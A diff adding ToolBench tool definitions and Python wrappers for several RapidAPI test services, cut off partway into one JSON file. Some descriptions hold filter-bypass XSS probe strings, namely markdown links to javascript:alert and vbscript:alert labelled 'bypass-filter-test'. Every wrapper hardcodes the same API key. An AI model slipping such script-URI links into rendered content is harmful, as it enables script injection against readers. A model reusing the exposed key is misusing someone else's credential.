toolbench/toolenv/tools/Other/test_mail_xss/api.py ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def find_pet_by_id(is_id: int, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Returns a user based on a single ID, if the user does not have access to the pet"
12
+ id: ID of pet to fetch
13
+
14
+ """
15
+ url = f"https://test_mail_xss.p.rapidapi.com/pets/{is_id}"
16
+ querystring = {}
17
+
18
+ headers = {
19
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
20
+ "X-RapidAPI-Host": "test_mail_xss.p.rapidapi.com"
21
+ }
22
+
23
+
24
+ response = requests.get(url, headers=headers, params=querystring)
25
+ try:
26
+ observation = response.json()
27
+ except:
28
+ observation = response.text
29
+ return observation
30
+
31
+ def findpets(tags: str=None, limit: int=0, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
32
+ """
33
+ "Returns all pets from the system that the user has access to
34
+ Nam sed condimentum est. Maecenas tempor sagittis sapien, nec rhoncus sem sagittis sit amet. Aenean at gravida augue, ac iaculis sem. Curabitur odio lorem, ornare eget elementum nec, cursus id lectus. Duis mi turpis, pulvinar ac eros ac, tincidunt varius justo. In hac habitasse platea dictumst. Integer at adipiscing ante, a sagittis ligula. Aenean pharetra tempor ante molestie imperdiet. Vivamus id aliquam diam. Cras quis velit non tortor eleifend sagittis. Praesent at enim pharetra urna volutpat venenatis eget eget mauris. In eleifend fermentum facilisis. Praesent enim enim, gravida ac sodales sed, placerat id erat. Suspendisse lacus dolor, consectetur non augue vel, vehicula interdum libero. Morbi euismod sagittis libero sed lacinia.
35
+
36
+ Sed tempus felis lobortis leo pulvinar rutrum. Nam mattis velit nisl, eu condimentum ligula luctus nec. Phasellus semper velit eget aliquet faucibus. In a mattis elit. Phasellus vel urna viverra, condimentum lorem id, rhoncus nibh. Ut pellentesque posuere elementum. Sed a varius odio. Morbi rhoncus ligula libero, vel eleifend nunc tristique vitae. Fusce et sem dui. Aenean nec scelerisque tortor. Fusce malesuada accumsan magna vel tempus. Quisque mollis felis eu dolor tristique, sit amet auctor felis gravida. Sed libero lorem, molestie sed nisl in, accumsan tempor nisi. Fusce sollicitudin massa ut lacinia mattis. Sed vel eleifend lorem. Pellentesque vitae felis pretium, pulvinar elit eu, euismod sapien.
37
+ "
38
+ tags: tags to filter by
39
+ limit: maximum number of results to return
40
+
41
+ """
42
+ url = f"https://test_mail_xss.p.rapidapi.com/pets"
43
+ querystring = {}
44
+ if tags:
45
+ querystring['tags'] = tags
46
+ if limit:
47
+ querystring['limit'] = limit
48
+
49
+ headers = {
50
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
51
+ "X-RapidAPI-Host": "test_mail_xss.p.rapidapi.com"
52
+ }
53
+
54
+
55
+ response = requests.get(url, headers=headers, params=querystring)
56
+ try:
57
+ observation = response.json()
58
+ except:
59
+ observation = response.text
60
+ return observation
61
+
toolbench/toolenv/tools/Other/test_refund_ido.json ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"test-refund-ido",
3
+ "tool_description":"to test refund",
4
+ "title":"test-refund-ido",
5
+ "pricing":"PAID",
6
+ "score":null,
7
+ "home_url":"https://rapidapi.com/idohengel/api/test-refund-ido/",
8
+ "host":"test-refund-ido.p.rapidapi.com",
9
+ "api_list":[
10
+ {
11
+ "name":"1",
12
+ "url":"https://test-refund-ido.p.rapidapi.com/1",
13
+ "description":"1",
14
+ "method":"GET",
15
+ "required_parameters":[],
16
+ "optional_parameters":[],
17
+ "code":"import requests\n\nurl = \"https://test-refund-ido.p.rapidapi.com/1\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test-refund-ido.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
18
+ "statuscode":111,
19
+ "body":"",
20
+ "headers":"",
21
+ "schema":""
22
+ }
23
+ ]
24
+ }
toolbench/toolenv/tools/Other/test_refund_ido/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def get_1(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "1"
12
+
13
+ """
14
+ url = f"https://test-refund-ido.p.rapidapi.com/1"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "test-refund-ido.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/test_swagger_upload.json ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_57059049-8804-4f5b-b2f0-e5d8bc6a59c5",
3
+ "tool_description": "A sample [bypass-filter-test](javascript:alert('test')) API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification",
4
+ "home_url": "https://rapidapi.com/reaudit/api/test_swagger_upload/",
5
+ "name": "test_swagger_upload",
6
+ "title": "test_swagger_upload",
7
+ "pricing": "FREE",
8
+ "tool_name": "test_swagger_upload",
9
+ "score": null,
10
+ "host": "test_swagger_upload.p.rapidapi.com",
11
+ "api_list": [
12
+ {
13
+ "name": "addPet",
14
+ "url": "https://test_swagger_upload.p.rapidapi.com/pets",
15
+ "description": "Creates a new pet in the store. Duplicates are allowed",
16
+ "method": "POST",
17
+ "required_parameters": [],
18
+ "optional_parameters": [
19
+ {
20
+ "name": "name",
21
+ "type": "STRING",
22
+ "description": "",
23
+ "default": "string"
24
+ },
25
+ {
26
+ "name": "tag",
27
+ "type": "STRING",
28
+ "description": "",
29
+ "default": "string"
30
+ }
31
+ ],
32
+ "code": "import requests\n\nurl = \"https://test_swagger_upload.p.rapidapi.com/pets\"\nquerystring = {\"name\": \"string\", \"tag\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test_swagger_upload.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
33
+ "convert_code": "import requests\n\nurl = \"https://test_swagger_upload.p.rapidapi.com/pets\"\nquerystring = {\"name\": \"string\", \"tag\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test_swagger_upload.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
34
+ "test_endpoint": "",
35
+ "statuscode": 200,
36
+ "schema": {
37
+ "type": "object",
38
+ "properties": {
39
+ "get": {
40
+ "type": "string"
41
+ },
42
+ "parameters": {
43
+ "type": "array"
44
+ },
45
+ "errors": {
46
+ "type": "array"
47
+ },
48
+ "results": {
49
+ "type": "integer"
50
+ },
51
+ "response": {
52
+ "type": "array",
53
+ "items": {
54
+ "type": "object"
55
+ }
56
+ }
57
+ }
58
+ }
59
+ }
60
+ ]
61
+ }
toolbench/toolenv/tools/Other/test_swagger_upload/api.py ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def findpets(tags: str=None, limit: int=0, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Returns all pets [bypass-filter-test](vbscript:alert('test)) from the system that the user has access to
12
+ Nam sed condimentum est. Maecenas tempor sagittis sapien, nec rhoncus sem sagittis sit amet. Aenean at gravida augue, ac iaculis sem. Curabitur odio lorem, ornare eget elementum nec, cursus id lectus. Duis mi turpis, pulvinar ac eros ac, tincidunt varius justo. In hac habitasse platea dictumst. Integer at adipiscing ante, a sagittis ligula. Aenean pharetra tempor ante molestie imperdiet. Vivamus id aliquam diam. Cras quis velit non tortor eleifend sagittis. Praesent at enim pharetra urna volutpat venenatis eget eget mauris. In eleifend fermentum facilisis. Praesent enim enim, gravida ac sodales sed, placerat id erat. Suspendisse lacus dolor, consectetur non augue vel, vehicula interdum libero. Morbi euismod sagittis libero sed lacinia.
13
+
14
+ Sed tempus felis lobortis leo pulvinar rutrum. Nam mattis velit nisl, eu condimentum ligula luctus nec. Phasellus semper velit eget aliquet faucibus. In a mattis elit. Phasellus vel urna viverra, condimentum lorem id, rhoncus nibh. Ut pellentesque posuere elementum. Sed a varius odio. Morbi rhoncus ligula libero, vel eleifend nunc tristique vitae. Fusce et sem dui. Aenean nec scelerisque tortor. Fusce malesuada accumsan magna vel tempus. Quisque mollis felis eu dolor tristique, sit amet auctor felis gravida. Sed libero lorem, molestie sed nisl in, accumsan tempor nisi. Fusce sollicitudin massa ut lacinia mattis. Sed vel eleifend lorem. Pellentesque vitae felis pretium, pulvinar elit eu, euismod sapien.
15
+ "
16
+ tags: tags to filter by
17
+ limit: maximum number of results to return
18
+
19
+ """
20
+ url = f"https://test_swagger_upload.p.rapidapi.com/pets"
21
+ querystring = {}
22
+ if tags:
23
+ querystring['tags'] = tags
24
+ if limit:
25
+ querystring['limit'] = limit
26
+
27
+ headers = {
28
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
29
+ "X-RapidAPI-Host": "test_swagger_upload.p.rapidapi.com"
30
+ }
31
+
32
+
33
+ response = requests.get(url, headers=headers, params=querystring)
34
+ try:
35
+ observation = response.json()
36
+ except:
37
+ observation = response.text
38
+ return observation
39
+
40
+ def find_pet_by_id(is_id: int, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
41
+ """
42
+ "Returns a user based on a single ID, if the user does not have access to the pet"
43
+ id: ID of pet to fetch
44
+
45
+ """
46
+ url = f"https://test_swagger_upload.p.rapidapi.com/pets/{is_id}"
47
+ querystring = {}
48
+
49
+ headers = {
50
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
51
+ "X-RapidAPI-Host": "test_swagger_upload.p.rapidapi.com"
52
+ }
53
+
54
+
55
+ response = requests.get(url, headers=headers, params=querystring)
56
+ try:
57
+ observation = response.json()
58
+ except:
59
+ observation = response.text
60
+ return observation
61
+
toolbench/toolenv/tools/Other/test_v2.json ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_e1f5314b-e1fb-4775-830b-5001687fd9c5",
3
+ "tool_description": "API for testing Rapid API features",
4
+ "home_url": "https://rapidapi.com/devhar07-6zvjhcvVmBy/api/test6311/",
5
+ "name": "Test_v2",
6
+ "title": "Test",
7
+ "pricing": "FREE",
8
+ "tool_name": "Test_v2",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 624,
12
+ "avgSuccessRate": 100,
13
+ "popularityScore": 5.5,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "test6311.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "JSON RPC boolean format",
20
+ "url": "https://test6311.p.rapidapi.com/78350067-b187-481a-b4bd-8ad97b449c32",
21
+ "description": "JSON RPC response format with single field of type boolean",
22
+ "method": "GET",
23
+ "required_parameters": [],
24
+ "optional_parameters": [],
25
+ "code": "import requests\n\nurl = \"https://test6311.p.rapidapi.com/78350067-b187-481a-b4bd-8ad97b449c32\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test6311.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
26
+ "convert_code": "import requests\n\nurl = \"https://test6311.p.rapidapi.com/78350067-b187-481a-b4bd-8ad97b449c32\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test6311.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
27
+ "test_endpoint": "",
28
+ "statuscode": 200,
29
+ "schema": {}
30
+ }
31
+ ],
32
+ "standardized_name": "test_v2"
33
+ }
toolbench/toolenv/tools/Other/test_v2/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def json_rpc_boolean_format(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "JSON RPC response format with single field of type boolean"
12
+
13
+ """
14
+ url = f"https://test6311.p.rapidapi.com/78350067-b187-481a-b4bd-8ad97b449c32"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "test6311.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/test_v4.json ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_f7267524-a649-4a05-ad0e-90ab006d1c16",
3
+ "tool_description": "Test",
4
+ "home_url": "https://rapidapi.com/vadik1/api/test5748/",
5
+ "name": "Test_v4",
6
+ "title": null,
7
+ "pricing": "FREE",
8
+ "tool_name": "Test_v4",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 606,
12
+ "avgSuccessRate": 0,
13
+ "popularityScore": 0,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "test5748.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "Param1",
20
+ "url": "https://test5748.p.rapidapi.com/{Param}",
21
+ "description": "Param1",
22
+ "method": "GET",
23
+ "required_parameters": [
24
+ {
25
+ "name": "Param",
26
+ "type": "string",
27
+ "description": "",
28
+ "default": ""
29
+ }
30
+ ],
31
+ "optional_parameters": [],
32
+ "code": "import requests\n\nurl = \"https://test5748.p.rapidapi.com/{Param}\"\nquerystring = {\"Param\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test5748.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
33
+ "convert_code": "import requests\n\nurl = \"https://test5748.p.rapidapi.com/{Param}\"\nquerystring = {\"Param\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test5748.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
34
+ "test_endpoint": "",
35
+ "statuscode": 200,
36
+ "schema": {}
37
+ }
38
+ ],
39
+ "standardized_name": "test_v4"
40
+ }
toolbench/toolenv/tools/Other/test_v4/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def param1(param: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Param1"
12
+
13
+ """
14
+ url = f"https://test5748.p.rapidapi.com/{param}"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "test5748.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/test_v5/api.py ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def get_climate_articles_from_specific_site(articleid: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Get climate articles from specific site"
12
+
13
+ """
14
+ url = f"https://test7586.p.rapidapi.com/articles/{articleid}"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "test7586.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
30
+ def get_all_climate_changes(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
31
+ """
32
+ "Get all climate changes from guardian, times and telegraph"
33
+
34
+ """
35
+ url = f"https://test7586.p.rapidapi.com/articles"
36
+ querystring = {}
37
+
38
+ headers = {
39
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
40
+ "X-RapidAPI-Host": "test7586.p.rapidapi.com"
41
+ }
42
+
43
+
44
+ response = requests.get(url, headers=headers, params=querystring)
45
+ try:
46
+ observation = response.json()
47
+ except:
48
+ observation = response.text
49
+ return observation
50
+
toolbench/toolenv/tools/Other/test_v6/api.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def test(test: str='test', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "test"
12
+
13
+ """
14
+ url = f"https://test1689.p.rapidapi.com/test"
15
+ querystring = {}
16
+ if test:
17
+ querystring['test'] = test
18
+
19
+ headers = {
20
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
21
+ "X-RapidAPI-Host": "test1689.p.rapidapi.com"
22
+ }
23
+
24
+
25
+ response = requests.get(url, headers=headers, params=querystring)
26
+ try:
27
+ observation = response.json()
28
+ except:
29
+ observation = response.text
30
+ return observation
31
+
toolbench/toolenv/tools/Other/test_v7/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def getinfo(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "полуение инфы"
12
+
13
+ """
14
+ url = f"https://test2246.p.rapidapi.com/todo/api/v1.0/tasks"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "test2246.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/testapi.json ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_572977f9-38a5-47a9-9bf8-8e9bd601ac6e",
3
+ "tool_description": "for testing befor deployment ",
4
+ "home_url": "https://rapidapi.com/hosseinrezai77/api/testapi1046/",
5
+ "name": "testApi",
6
+ "title": "testApi",
7
+ "pricing": "FREEMIUM",
8
+ "tool_name": "testApi",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 9449,
12
+ "avgSuccessRate": 100,
13
+ "popularityScore": 7.8,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "testapi1046.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "get",
20
+ "url": "https://testapi1046.p.rapidapi.com/",
21
+ "description": "simple get",
22
+ "method": "GET",
23
+ "required_parameters": [],
24
+ "optional_parameters": [],
25
+ "code": "import requests\n\nurl = \"https://testapi1046.p.rapidapi.com/\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi1046.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
26
+ "convert_code": "import requests\n\nurl = \"https://testapi1046.p.rapidapi.com/\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi1046.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
27
+ "test_endpoint": ""
28
+ }
29
+ ],
30
+ "standardized_name": "testapi"
31
+ }
toolbench/toolenv/tools/Other/testapi/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def get(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "simple get"
12
+
13
+ """
14
+ url = f"https://testapi1046.p.rapidapi.com/"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "testapi1046.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/testapi_v2.json ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_f56a5316-5a23-43ad-8128-caaca5839605",
3
+ "tool_description": "Test Api",
4
+ "home_url": "https://rapidapi.com/jackieralf3-k_Er__8F9/api/testapi1005/",
5
+ "name": "TestApi_v2",
6
+ "title": "TestApi",
7
+ "pricing": "FREEMIUM",
8
+ "tool_name": "TestApi_v2",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 141,
12
+ "avgSuccessRate": 100,
13
+ "popularityScore": 5.5,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "testapi1005.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "Get Test Api Method",
20
+ "url": "https://testapi1005.p.rapidapi.com/test/getContent",
21
+ "description": "Get Test Api Method!",
22
+ "method": "GET",
23
+ "required_parameters": [],
24
+ "optional_parameters": [],
25
+ "code": "import requests\n\nurl = \"https://testapi1005.p.rapidapi.com/test/getContent\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi1005.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
26
+ "convert_code": "import requests\n\nurl = \"https://testapi1005.p.rapidapi.com/test/getContent\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi1005.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
27
+ "test_endpoint": ""
28
+ }
29
+ ],
30
+ "standardized_name": "testapi_v2"
31
+ }
toolbench/toolenv/tools/Other/testapi_v2/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def get_test_api_method(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Get Test Api Method!"
12
+
13
+ """
14
+ url = f"https://testapi1005.p.rapidapi.com/test/getcontent"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "testapi1005.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/testapi_v3.json ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_5643c856-fb0e-42db-90db-17b45fa39019",
3
+ "tool_description": "returns hello",
4
+ "home_url": "https://rapidapi.com/sujeetkalaskar8185-6X60d2TescN/api/testapi708/",
5
+ "name": "TestAPI_v3",
6
+ "title": "TestAPI",
7
+ "pricing": "FREEMIUM",
8
+ "tool_name": "TestAPI_v3",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 740,
12
+ "avgSuccessRate": 100,
13
+ "popularityScore": 6.1,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "testapi708.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "test",
20
+ "url": "https://testapi708.p.rapidapi.com/admin-api/",
21
+ "description": "test",
22
+ "method": "GET",
23
+ "required_parameters": [],
24
+ "optional_parameters": [],
25
+ "code": "import requests\n\nurl = \"https://testapi708.p.rapidapi.com/admin-api/\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi708.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
26
+ "convert_code": "import requests\n\nurl = \"https://testapi708.p.rapidapi.com/admin-api/\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi708.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers)\nprint(response.json())\n",
27
+ "test_endpoint": ""
28
+ }
29
+ ],
30
+ "standardized_name": "testapi_v3"
31
+ }
toolbench/toolenv/tools/Other/testapi_v3/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def test(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "test"
12
+
13
+ """
14
+ url = f"https://testapi708.p.rapidapi.com/admin-api/"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "testapi708.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/testapi_v4.json ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_5c9cc298-3de5-4d8e-be7a-422770985fce",
3
+ "tool_description": "Tet",
4
